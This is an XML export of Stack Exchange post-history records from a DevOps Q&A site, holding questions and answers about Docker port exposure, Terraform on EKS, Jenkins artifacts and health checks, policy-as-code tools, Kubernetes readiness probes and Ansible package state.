  <row Id="40385" PostHistoryTypeId="2" PostId="13127" RevisionGUID="527a1611-42c1-4756-bdc3-21054695def9" CreationDate="2021-01-12T16:36:41.950" UserId="25586" Text="### Containers have to expose ports&#xD;&#xA;A container will not listen to outside traffic unless the Dockerfile has an `EXPOSE 5000` command. This tells the container to listen for external traffic on that port.&#xD;&#xA;&#xD;&#xA;That being said, the Docker engine will only listen to external ports that you tell it to. By default that is none. Setting `EXPOSE 5000` means that the container will listen to external traffic that the docker engine routes to it. By default this means only internal docker engine traffic will be able to access that port.&#xD;&#xA;&#xD;&#xA;### Expose the port to the host&#xD;&#xA;Depending on how you are starting the container (either cli or docker-compose), you will need to expose the port to the host. From CLI, this will be done with the `-p` flag in the format `-p hostPort:containerPort`. You can then map the port as you wish, like `-p 50000:5000` with 5000 being the same port in your `EXPOSE` command in the Docker file and 50000 being the `localhost` port you want to use.&#xD;&#xA;&#xD;&#xA;### Putting it together&#xD;&#xA;Update your docker file to something like this:&#xD;&#xA;```dockerfile&#xD;&#xA;# Specify a base image&#xD;&#xA;FROM node:alpine&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;EXPOSE 5000&#xD;&#xA;&#xD;&#xA;# Default command&#xD;&#xA;CMD [&quot;npm&quot;, &quot;start&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then run it with:&#xD;&#xA;```sh&#xD;&#xA;docker run --rm imageName -p 5000:5000&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;From there you should be able to `curl http://localhost:5000` and get the expected response." ContentLicense="CC BY-SA 4.0" />
  <row Id="40386" PostHistoryTypeId="50" PostId="12933" RevisionGUID="33e8eafe-5e77-40b7-94a6-ebb48bf7b604" CreationDate="2021-01-12T17:01:35.093" UserId="-1" />
  <row Id="40390" PostHistoryTypeId="5" PostId="13122" RevisionGUID="95abcd91-bed5-40fc-9a07-8b036d4aee46" CreationDate="2021-01-12T18:08:07.903" UserId="25221" Comment="added 303 characters in body" Text="Is it possible to deploy an app with terraform to an already existing eks cluster (one that was not created with terraform)?&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform {&#xD;&#xA;  required_providers {&#xD;&#xA;    aws = {&#xD;&#xA;      source  = &quot;hashicorp/aws&quot;&#xD;&#xA;      version = &quot;~&gt; 3.0&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# Configure the AWS Provider&#xD;&#xA;provider &quot;aws&quot; {&#xD;&#xA;  region = &quot;us-east-2&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;provider &quot;kubernetes&quot; {&#xD;&#xA;  host = var.cluster_endpoint&#xD;&#xA;  cluster_ca_certificate   = base64decode(var.cluster_certificate_authority)&#xD;&#xA;  # cluster_ca_certificate = var.cluster_certificate_authority&#xD;&#xA;  token            = var.cluster_token&#xD;&#xA;  load_config_file = false&#xD;&#xA;  version          = &quot;~&gt; 1.11&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;kubernetes_deployment&quot; &quot;test-app&quot; {&#xD;&#xA;  metadata {&#xD;&#xA;    name = &quot;test-app&quot;&#xD;&#xA;    labels = {&#xD;&#xA;      App = &quot;test&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  spec {&#xD;&#xA;    replicas = 2&#xD;&#xA;    selector {&#xD;&#xA;      match_labels = {&#xD;&#xA;        App = &quot;test&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    template {&#xD;&#xA;      metadata {&#xD;&#xA;        labels = {&#xD;&#xA;          App = &quot;test&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      spec {&#xD;&#xA;        container {&#xD;&#xA;          image = &quot;411037401432.dkr.ecr.us-east-2.amazonaws.com/test:latest&quot;&#xD;&#xA;          name  = &quot;test&quot;&#xD;&#xA;&#xD;&#xA;          port {&#xD;&#xA;            container_port = 80&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="40392" PostHistoryTypeId="5" PostId="13121" RevisionGUID="62a9ae5a-dfb3-4e30-9caf-682dd91a6860" CreationDate="2021-01-12T19:16:30.473" UserId="6839" Comment="Improve spelling" Text="Currently developers push to master, jenkins picks that up, builds it, and then I go to artifacts, download the APK files and upload them in a Microsoft teams group so that the QA team can download either the latest or any previous version I had uploaded before.&#xD;&#xA;&#xD;&#xA;I want to change this process to make it more efficient. I want something with a UI that the QA team can go to and download whichever version of the app (APK files) they want.&#xD;&#xA;&#xD;&#xA;I want it all to be automated, so as soon as I push the master, Jenkins will build and the files will eventually show in this portal, webpage or section of Jenkins and the QA team can download which ever version they want.&#xD;&#xA;How can I achieve this? Is there a Jenkins plugin for this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40393" PostHistoryTypeId="4" PostId="13121" RevisionGUID="62a9ae5a-dfb3-4e30-9caf-682dd91a6860" CreationDate="2021-01-12T19:16:30.473" UserId="6839" Comment="Improve spelling" Text="How can I make artifacts available to the QA team with a user-friendly UI?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40394" PostHistoryTypeId="24" PostId="13121" RevisionGUID="62a9ae5a-dfb3-4e30-9caf-682dd91a6860" CreationDate="2021-01-12T19:16:30.473" Comment="Proposed by 6839 approved by 354, 40 edit id of 1321" ContentLicense="CC BY-SA 4.0" />
  <row Id="40395" PostHistoryTypeId="5" PostId="4336" RevisionGUID="eabec297-2fe6-4791-a5e6-9b203659e28c" CreationDate="2021-01-12T19:17:00.960" UserId="25330" Comment="corrected spelling, fixed grammar." Text="For a project I'm working on, we need to create a Jenkins node in an AWS environment. For this task,  we will work with the docker image, which is available on https://github.com/jenkinsci/docker-ssh-slave &#xD;&#xA;. The Jenkins node will be responsible for executing AWS commands which can only be done from inside the AWS environment (not outside).&#xD;&#xA;&#xD;&#xA;This Jenkins Master is running in our local environment. We will add the node as a permanent node in the Jenkins master. The Jenkins master is not responsible for setting up the Jenkins Node, since it has no permissions to do this ( this is managed in AWS ).&#xD;&#xA;&#xD;&#xA;However, we would like to monitor the Jenkins Slave inside AWS to see if it it still running successfully. With other docker containers, we also expose a health check. If the health check fails, the docker container is treated as unhealthy, and is restarted accordingly. &#xD;&#xA;Just like we do with the other docker containers, we would like to expose such a health port as well on the Jenkins Slave. If it is not responding anymore, AWS will restart the docker container, and we have a stable system.  &#xD;&#xA;&#xD;&#xA;We already explored the Nagios monitoring, but it looks like this is exposing the health in the master, and not directly in the slave. &#xD;&#xA;&#xD;&#xA;Is it available, or how can we add such functionality? &#xD;&#xA;Could you lead us in the right direction, or recommend plugins which need to be installed, ... &#xD;&#xA;&#xD;&#xA; - Can we open the default HTTP API of Jenkins in such a Jenkins slave (https://wiki.jenkins.io/display/JENKINS/Remote+access+API)&#xD;&#xA; - Another approach could be to add and start NGINX in docker and point the healthcheck to NGINX. But with this approach, we are not really checking the health of the the Jenkins slave." ContentLicense="CC BY-SA 4.0" />
  <row Id="40396" PostHistoryTypeId="24" PostId="4336" RevisionGUID="eabec297-2fe6-4791-a5e6-9b203659e28c" CreationDate="2021-01-12T19:17:00.960" Comment="Proposed by 25330 approved by 354, 40 edit id of 1320" ContentLicense="CC BY-SA 4.0" />
  <row Id="40398" PostHistoryTypeId="2" PostId="13129" RevisionGUID="1e5e3266-b0aa-4055-bff6-4d3cc1178a53" CreationDate="2021-01-12T20:19:58.077" UserId="25593" Text="In the dev world, we have several tools available to us for automated quality checks.  We have unit tests that run on each build, Sonar to check for code quality, metrics being sent to Grafana and Okta with automated alarms, etc.  &#xD;&#xA;&#xD;&#xA;I'm not very familiar with the ops world, but are there similar automated tools available for our ops code?&#xD;&#xA;&#xD;&#xA;For Terraform scripts, Dockerfiles, Helm/K8 scripts, Cloudbees configurations and other ops code, the concerns I would like to see automation for are: &#xD;&#xA;   - Syntax checking&#xD;&#xA;   - Code smells / anti patterns&#xD;&#xA;   - Routing / Connection checking for accuracy&#xD;&#xA;   - Security best practice checking (don't expose these ports or include these credentials,or grant these permissions kind-of-a-thing)&#xD;&#xA;   - Appropriate provisioning (too many or too few resources allocated for the size of the task)&#xD;&#xA;   - High cost warnings&#xD;&#xA;   - Unit test-ish tools to ensure we aren't breaking the build in more subtle ways than &quot;did it deploy successfully or not&quot;&#xD;&#xA;&#xD;&#xA;There's likely a lot more that I don't even know to look for given my lack of experience.  Are there support tools that will analyze our ops code that could provide automated support in this fashion?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40399" PostHistoryTypeId="1" PostId="13129" RevisionGUID="1e5e3266-b0aa-4055-bff6-4d3cc1178a53" CreationDate="2021-01-12T20:19:58.077" UserId="25593" Text="Are there automated quality checking tools for Ops code" ContentLicense="CC BY-SA 4.0" />
  <row Id="40400" PostHistoryTypeId="3" PostId="13129" RevisionGUID="1e5e3266-b0aa-4055-bff6-4d3cc1178a53" CreationDate="2021-01-12T20:19:58.077" UserId="25593" Text="&lt;terraform&gt;&lt;automation&gt;&lt;quality-cotrol&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40401" PostHistoryTypeId="2" PostId="13130" RevisionGUID="3aad0fd8-191b-4458-9026-49c9e82ddb79" CreationDate="2021-01-13T06:57:24.587" UserId="354" Text="It's difficult to provide a definitive answer given the scope of the question, but the  goal of testing infrastructure is both laudable and seldom done at all.&#xD;&#xA;&#xD;&#xA;To my knowledge, you are looking for something akin to [Open Policy Agent](https://www.openpolicyagent.org/) which provides a general policy language in which to express arbitrary policy as code. I would suggest investigating that at length.&#xD;&#xA;&#xD;&#xA;At the risk of not providing a complete answer, I will give my best shot for some concrete examples as well. &#xD;&#xA;&#xD;&#xA;## Compliance as Code&#xD;&#xA;&#xD;&#xA;In general, you need something which is often referred to as a &quot;compliance framework&quot;, and in the DevOps world more often referred to as &quot;Policy as Code&quot;. This allows you to define policies as code, which really means &quot;machine-readable and executable&quot;. You specify what the policy is in the DSL of the framework, it is executed at some stage of your pipeline, and fails the change if it violates the policy.&#xD;&#xA;&#xD;&#xA;To illustrate the point, consider someone submitting a pull request to a terraform module that inadvertently opens a port on a security group to the world which the policy says should be closed. This may be difficult to determine when you're writing the code, but the compliance test will catch it.&#xD;&#xA;&#xD;&#xA;There are a few ways to do this, but I will mention two. A notable exception is [Pulumi's Crossguard](https://www.pulumi.com/docs/guides/crossguard/), but I don't have enough experience to speak to that.&#xD;&#xA;&#xD;&#xA;## Hashicorp Sentinel&#xD;&#xA;&#xD;&#xA;In the Hashicorp world, there is the [Sentinel Framework](https://www.hashicorp.com/sentinel). This is an Enterprise product, so may not be relevant to your situation, but it is one of the best implementations I've seen. Importantly, it has a [built-in testing framework ](https://docs.hashicorp.com/sentinel/writing/testing) which aids in writing good policy code, which is also very expressive. I have used this as inspiration for how to write policy in Chef Inspec, which is the other example I will cite.&#xD;&#xA;&#xD;&#xA;## Chef Inspec&#xD;&#xA;&#xD;&#xA;[Chef Inspec](https://docs.chef.io/inspec/) is a framework for writing policy as code using rspec-style assertions. It uses a DSL based on ruby and supports major clouds (AWS, GCP, Azure) as well as OS-level resources. It is open source, so you can use it anywhere. You use it to make assertions in individual _resources_ which are defined in the inspec DSL, _e.g._ &quot;user on an OS&quot; or &quot;AWS EC2 instance&quot;. Writing the tests consists of assertions against the actual state of those resources, which makes it quite like a unit test. However, Inspec does not have a built-in testing framework for itself like Sentinel does - although you could use the ruby ecosystem for doing this.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Some notes:&#xD;&#xA;&#xD;&#xA;1. Both of these tools allow you to express your policy as code, and to start extending the test coverage of that policy over your existing infrastructure. &#xD;&#xA;1. Sentinel will catch violations before they are applied, but Inspec needs to be executed against an already-provisioned state.&#xD;&#xA;1. Both will do what you required, but depend on your tech stack as to whether they will be appropriate for you&#xD;&#xA;1. There is no magic bullet&#xD;&#xA;   1. for both of them you will need to write your policy as code. Usually this means taking some form of human-readable documentation and writing it in the DSL of the framework.&#xD;&#xA;   1. On the other hand, this provides an excellent opportunity to collaborate with the security team and do what folks are calling DevSecOps these days.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40402" PostHistoryTypeId="2" PostId="13131" RevisionGUID="cc5cc23a-0608-4482-b4c2-d0a5636c7522" CreationDate="2021-01-13T08:20:21.650" UserId="23442" Text="We are deploying the application in a Kubernetes cluster and when we face an unexpected error and the pod gets restarted or goes down we are getting a 502 Gateway error even though there is another pod that should start accepting the requests without getting the 502 gateway error.&#xD;&#xA;&#xD;&#xA;We are making sure that the application is cluster enabled and the request is redirected to the another pod automatically when we stop/kill the pod gracefully but doesnot happen on a exception." ContentLicense="CC BY-SA 4.0" />
  <row Id="40403" PostHistoryTypeId="1" PostId="13131" RevisionGUID="cc5cc23a-0608-4482-b4c2-d0a5636c7522" CreationDate="2021-01-13T08:20:21.650" UserId="23442" Text="How to redirect the request to a different node when there is an unexpected exception and one of the pods gets restarted" ContentLicense="CC BY-SA 4.0" />
  <row Id="40404" PostHistoryTypeId="3" PostId="13131" RevisionGUID="cc5cc23a-0608-4482-b4c2-d0a5636c7522" CreationDate="2021-01-13T08:20:21.650" UserId="23442" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40405" PostHistoryTypeId="2" PostId="13132" RevisionGUID="dcb8bd07-6eea-4256-b836-2ef02ab9eb26" CreationDate="2021-01-13T09:02:20.137" UserId="6162" Text="You should configure a [Readiness Probe][1] in the `Deployment` for your app. When using a _Readiness Probe_, no traffic will be sent to instances that are not prepared to receive traffic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/#define-readiness-probes" ContentLicense="CC BY-SA 4.0" />
  <row Id="40406" PostHistoryTypeId="5" PostId="13076" RevisionGUID="7ebfe525-4673-46d7-adb2-37e5a8f0610d" CreationDate="2021-01-13T09:48:14.390" UserId="7513" Comment="Added links" Text="I'd have to say that I don't think it's possible and if you understood windows containers you really wouldn't want to do it anyway. Last time I checked, a windows container weighs in at gigabytes++ and that's huge to run notepad.&#xD;&#xA;&#xD;&#xA;You can run xwindows apps in a container, but windows is, basically, complete shite in a container. &#xD;&#xA;&#xD;&#xA;If you want a sandbox then you should checkout [VirtualBox][1] or [Hyper-V][2]. You can script either with [Hashicorp Vagrant][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.virtualbox.org/&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/&#xD;&#xA;  [3]: https://www.vagrantup.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40407" PostHistoryTypeId="2" PostId="13133" RevisionGUID="edc7b672-a013-43aa-93b2-7ef1384eec92" CreationDate="2021-01-13T09:55:36.240" UserId="7513" Text="The term is used in different ways by different people and in different contexts. I like to think of each layer of 'the whole thing' as being provisioned individually, so I provision machine or container images by installing software on them using docker or packer, then I provision the infrastructure using terraform, and finally, I provision my application using kubectl or helm. Though, this is only a working model as these layers and tools tend to blend together at the edges.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40408" PostHistoryTypeId="50" PostId="8686" RevisionGUID="27a99ce5-80aa-480f-8fd6-092ab018d25d" CreationDate="2021-01-13T11:04:15.483" UserId="-1" />
  <row Id="40409" PostHistoryTypeId="2" PostId="13134" RevisionGUID="2f0184de-edc4-4752-8010-d6653cc40837" CreationDate="2021-01-13T12:41:12.200" UserId="25604" Text="In the google_compute_instance_template resource, the email property of the service_account block should not start with &quot;serviceAccount:&quot;. Change from:&#xD;&#xA;&#xD;&#xA;    service_account {&#xD;&#xA;      email  = &quot;serviceAccount:${google_service_account.frontend_service_account.email}&quot;&#xD;&#xA;      scopes = [&quot;default&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;To this:&#xD;&#xA;&#xD;&#xA;    service_account {&#xD;&#xA;      email  = &quot;${google_service_account.frontend_service_account.email}&quot;&#xD;&#xA;      scopes = [&quot;default&quot;]&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="40410" PostHistoryTypeId="5" PostId="719" RevisionGUID="b42b6cd9-f76a-431a-a057-aa80163ab161" CreationDate="2021-01-13T12:53:52.010" UserId="25330" Comment="fixed grammar." Text="I need to integrate BitBucket with Jenkins, so that whenever a PR is opened in BitBucket, it will trigger a build in Jenkins. Can someone help describe the exact configuration step that I should follow in BitBucket and Jenkins to achieve this?&#xD;&#xA;&#xD;&#xA;This is my configuration so far:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/am4fb.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40411" PostHistoryTypeId="24" PostId="719" RevisionGUID="b42b6cd9-f76a-431a-a057-aa80163ab161" CreationDate="2021-01-13T12:53:52.010" Comment="Proposed by 25330 approved by 354, 40 edit id of 1323" ContentLicense="CC BY-SA 4.0" />
  <row Id="40412" PostHistoryTypeId="5" PostId="10495" RevisionGUID="16236f90-deeb-490e-bb94-e441ce8a8abe" CreationDate="2021-01-13T12:53:59.943" UserId="25330" Comment="fixed grammar." Text="Is there a semi-easy way to use Ansible to open an interactive session?&#xD;&#xA;&#xD;&#xA;I've spent a good amount of time making use of keys and other credentials stores to make a stellar ansible inventory file. Problem is, when I want to get on the servers that I can easily manage, I've gotta go out and find those creds and take the time to log into them.  &#xD;&#xA;&#xD;&#xA;It's almost easier for me just to run adhoc commands with ansible instead of logging in via ssh.  Is there a way to pause ansible with a running interactive session so I can get a command prompt?  I noticed that sometimes it lets me accept host keys, but other times it bombs out, (I think this happens when running ssh proxy), so I know things can be done interactively.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="40413" PostHistoryTypeId="24" PostId="10495" RevisionGUID="16236f90-deeb-490e-bb94-e441ce8a8abe" CreationDate="2021-01-13T12:53:59.943" Comment="Proposed by 25330 approved by 40 edit id of 1322" ContentLicense="CC BY-SA 4.0" />
  <row Id="40414" PostHistoryTypeId="5" PostId="13129" RevisionGUID="c2993808-17d4-4be7-9126-6e3ddefa2dc4" CreationDate="2021-01-13T15:41:47.967" UserId="25593" Comment="deleted 4 characters in body" Text="In the dev world, we have several tools available to us for automated quality checks.  We have unit tests that run on each build, Sonar to check for code quality, metrics being sent to Grafana and Okta with automated alarms, etc.  &#xD;&#xA;&#xD;&#xA;I'm not very familiar with the ops world; are there similar automated tools available for our ops code?&#xD;&#xA;&#xD;&#xA;For Terraform scripts, Dockerfiles, Helm/K8 scripts, Cloudbees configurations and other ops code, the concerns I would like to see automation for are: &#xD;&#xA;   - Syntax checking&#xD;&#xA;   - Code smells / anti patterns&#xD;&#xA;   - Routing / Connection checking for accuracy&#xD;&#xA;   - Security best practice checking (don't expose these ports or include these credentials,or grant these permissions kind-of-a-thing)&#xD;&#xA;   - Appropriate provisioning (too many or too few resources allocated for the size of the task)&#xD;&#xA;   - High cost warnings&#xD;&#xA;   - Unit test-ish tools to ensure we aren't breaking the build in more subtle ways than &quot;did it deploy successfully or not&quot;&#xD;&#xA;&#xD;&#xA;There's likely a lot more that I don't even know to look for given my lack of experience.  Are there support tools that will analyze our ops code that could provide automated support in this fashion?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40415" PostHistoryTypeId="2" PostId="13135" RevisionGUID="3f64b3a7-4988-41cf-84d8-3556070ab74a" CreationDate="2021-01-13T16:14:02.853" UserId="10715" Text="Ansible lists a nice set of best practices [in its documentation](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html). One of the items is:&#xD;&#xA;&#xD;&#xA;&gt; ### Always mention the state&#xD;&#xA;&gt;&#xD;&#xA;&gt; For many modules, the `state` parameter is optional. Different modules have different default settings for `state`, and some modules support several `state` settings. Explicitly setting `state=present` or `state=absent` makes playbooks and roles clearer.&#xD;&#xA;&#xD;&#xA;In my case the main point isn't so much about making playbooks or roles clearer, instead my goal is to manage the presence/absence of items throughout the lifetime of my servers.&#xD;&#xA;&#xD;&#xA;Probably many of you have had the issue of installing package `xyz` as a &quot;bread'n'butter&quot; package on your machines, but a few months later it turns out your workflow has changed and you don't really need `xyz` anymore. Or it was replaced by `xyz-ng` ... or what have you ...&#xD;&#xA;&#xD;&#xA;So now it's time to express somehow to remove that `xyz` package consistently across your infrastructure. In my case with Debian/Ubuntu I'd use the `apt` module with `state=absent` for the respective packages. No surprise.&#xD;&#xA;&#xD;&#xA;However, I'd like to factor this into my roles from the outset. As an example it would be nice to have a dictionary variable (as an example):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;packages:&#xD;&#xA;  present:&#xD;&#xA;  - elinks&#xD;&#xA;  absent:&#xD;&#xA;  - lynx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This way the presence and absence would dynamically be managed by variables and I can use `when:` to cover for an empty list and so on; potentially even by including a task dynamically and passing along a `state` variable that coincides with the key in the dictionary.&#xD;&#xA;&#xD;&#xA;Another case where this must have come up for someone before is the creation of local users, or has everyone moved to directory services? When someone leaves the company I'd like to be able to put that someone on a list populated with usernames to be put into a locked state.&#xD;&#xA;&#xD;&#xA;However, since there _are_ established best practices for Ansible in general, I was wondering:&#xD;&#xA;&#xD;&#xA;**Q:** are there best practices about managing the state of &quot;entities&quot; on the configured infrastructure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40416" PostHistoryTypeId="1" PostId="13135" RevisionGUID="3f64b3a7-4988-41cf-84d8-3556070ab74a" CreationDate="2021-01-13T16:14:02.853" UserId="10715" Text="Managing state (e.g. presence/absence) in Ansible, any established best practices?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40417" PostHistoryTypeId="3" PostId="13135" RevisionGUID="3f64b3a7-4988-41cf-84d8-3556070ab74a" CreationDate="2021-01-13T16:14:02.853" UserId="10715" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40418" PostHistoryTypeId="2" PostId="13136" RevisionGUID="7e3c0d7f-b12a-4f68-8d4d-d7ca9b37b40a" CreationDate="2021-01-13T17:00:26.370" UserId="7012" Text="For non-data components such as DDLs or PL/SQL I would recommend using Liquibase to manage them.  However, to do Blue Green deployment with sub-second downtime is likely an impossibility because you need to stop the requests to the old database and route them to an exact copy of the new database at the time with your delta being applied.&#xD;&#xA;&#xD;&#xA;The closest I can think about doing it is as follows.  For the purposes of the sequence I have the liquibase migration scripts as part of the application startup to avoid having multiple steps for application startup.&#xD;&#xA;&#xD;&#xA;## Verification&#xD;&#xA;1. Copy Green DB and other data artifacts such as file systems etc. to Blue.  This is a time and size factor.&#xD;&#xA;2. Deploy and start Green application blue.&#xD;&#xA;3. Deploy and start the new application on Blue which applies liquibase scripts.&#xD;&#xA;4. Verify&#xD;&#xA;&#xD;&#xA;## Switch over&#xD;&#xA;&#xD;&#xA;1. Pause the Green application (this prevents any future access to the data).  This begins the downtime.&#xD;&#xA;2. Copy Green DB and other data artifacts such as file systems etc. to Blue (again).  This is a time and size factor.&#xD;&#xA;3. Deploy and start Green application blue.&#xD;&#xA;4. Deploy and start the new application on Blue which applies liquibase scripts.&#xD;&#xA;5. Switch route to Blue&#xD;&#xA;&#xD;&#xA;## Switch over and Fallback (note new data loss)&#xD;&#xA;&#xD;&#xA;(from above)&#xD;&#xA;&#xD;&#xA;6. Restart green application&#xD;&#xA;7. Switch route back to Green&#xD;&#xA;&#xD;&#xA;## Reducing cost&#xD;&#xA;&#xD;&#xA;* Instead of a new database or ElasticSearch or Kafka instance, just use a different schema and credentials between blue and green.&#xD;&#xA;* Instead of a new storage, use a different root folder between blue and green." ContentLicense="CC BY-SA 4.0" />
  <row Id="40422" PostHistoryTypeId="50" PostId="9863" RevisionGUID="e9349344-496d-4a8c-971a-4710b88bb82f" CreationDate="2021-01-14T04:02:45.210" UserId="-1" />
  <row Id="40423" PostHistoryTypeId="2" PostId="13137" RevisionGUID="bce36ac6-46d3-4986-b6ed-71dbc4cda8cf" CreationDate="2021-01-14T07:35:04.043" UserId="354" Text="This can be done with two tasks with loops:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# tasks/packages.yml&#xD;&#xA;- name: pkgs | Ensure Good &#xD;&#xA;  package:&#xD;&#xA;    name: &quot;{{ item }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;  loop: &quot;{{ packages['present'] }}&quot;&#xD;&#xA;&#xD;&#xA;- name: pkgs | Ensure Bad&#xD;&#xA;  package:&#xD;&#xA;    name: &quot;{{ item }}&quot;&#xD;&#xA;    state: absent&#xD;&#xA;  loop: &quot;{{ packages['absent'] }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This will loop over all of the items in the list that you define and ensure that they are either `present` or `absent`.&#xD;&#xA;&#xD;&#xA;You could also use a shorthand:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# tasks/packages.yml&#xD;&#xA;- name: pkgs | Ensure Good &#xD;&#xA;  package:&#xD;&#xA;    name: &quot;{{ packages['present'] }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;&#xD;&#xA;- name: pkgs | Ensure Bad&#xD;&#xA;  package:&#xD;&#xA;    name: &quot;{{ packages['absent'] }}&quot;&#xD;&#xA;    state: absent&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This would run faster, since you don't have a list of tasks, but a task with a list, but you would lose some visibility into which packages you're actually ensuring the state of.&#xD;&#xA;&#xD;&#xA;Caveats:&#xD;&#xA;&#xD;&#xA;Ensure that there is no overlap between the two lists. One way would be to make an assertion on the lists before you run the task:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: ensure no overlap between good and bad&#xD;&#xA;  assert:&#xD;&#xA;    that: &quot;{{ packages['present'] | intersect(packages['absent'] }} == [] }}&quot;&#xD;&#xA;```&#xD;&#xA;Also ensure that the lists are not empty.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To answer your final question:&#xD;&#xA;&gt; Q: are there best practices about managing the state of &quot;entities&quot; on the configured infrastructure?&#xD;&#xA;&#xD;&#xA;It is usually _my_ practice (I wouldn't call it &quot;best&quot;, but take it for what it's worth) to declare the explicit state of a resource." ContentLicense="CC BY-SA 4.0" />
  <row Id="40424" PostHistoryTypeId="5" PostId="13117" RevisionGUID="fc799044-138b-4fff-8310-13c190ce71e9" CreationDate="2021-01-14T08:21:23.260" UserId="25564" Comment="Adding more details." Text="I am struggling with this issue inside my declarative pipeline. I am trying to use python's docker image as my agent and run some scripts and I am receiving warning:&#xD;&#xA;&#xD;&#xA;    Warning: JENKINS-41339 probably bogus PATH=$PATH:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools:/opt/android-sdk-linux/tools:/opt/android-sdk-linux/platform-tools; perhaps you meant to use ‘PATH+EXTRA=/something/bin’&#xD;&#xA;&#xD;&#xA;I do not have access to Jenkins server global variables configuration. I am using one of the Debian slaves.&#xD;&#xA;&#xD;&#xA;I have read other issues about this problem [stackoverflow/43987005][1] and [stackoverflow/44378221][2]. Also discussion on [Jenkins forum][3] and Jenkins official [documentation][4].&#xD;&#xA;&#xD;&#xA;This is code I am executing:&#xD;&#xA;&#xD;&#xA;    //  https://www.jenkins.io/doc/book/pipeline/syntax/&#xD;&#xA;    pipeline {&#xD;&#xA;      environment {&#xD;&#xA;        PATH = &quot;/bin/sh:$PATH&quot;&#xD;&#xA;      }&#xD;&#xA;      agent {&#xD;&#xA;        docker {&#xD;&#xA;          image &quot;python:3.9&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      stages {&#xD;&#xA;        stage('Test') {&#xD;&#xA;          steps {&#xD;&#xA;            withEnv([&quot;PATH+EXTRA=$PATH&quot;]) {&#xD;&#xA;              sh &quot;PATH is: $PATH&quot;&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;          post {&#xD;&#xA;            cleanup {&#xD;&#xA;              cleanWs()&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Build') {&#xD;&#xA;          steps {&#xD;&#xA;            echo &quot;'Let's build&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Deploy') {&#xD;&#xA;          steps {&#xD;&#xA;            echo &quot;'Let's deploy&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Problem appeared after I wanted to implement docker image as agent and by changing ***environment*** section inside my pipeline still haven't fixed my problem. I was trying also these alternatives:&#xD;&#xA;&#xD;&#xA;    PATH = &quot;/usr/local/bin:$PATH&quot;&#xD;&#xA;    PATH = &quot;/usr/local/bin:${env.PATH}&quot;&#xD;&#xA;&#xD;&#xA;I also went to `Configure`, section `Prepare an environment for the run` and filled up `Properties Content` input but I still didn't receive $PATH content into my job. I am still receiving global value of $PATH. I also unchecked the `Keep Jenkins Environment Variables` checkbox. &#xD;&#xA;&#xD;&#xA;The server I am using has [Environment Injector Plugin][5] plugin installed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/43987005/jenkins-does-not-recognize-command-sh&#xD;&#xA;  [2]: https://stackoverflow.com/questions/44378221/export-command-in-jenkins-pipeline/&#xD;&#xA;  [3]: https://issues.jenkins.io/browse/JENKINS-41339&#xD;&#xA;  [4]: 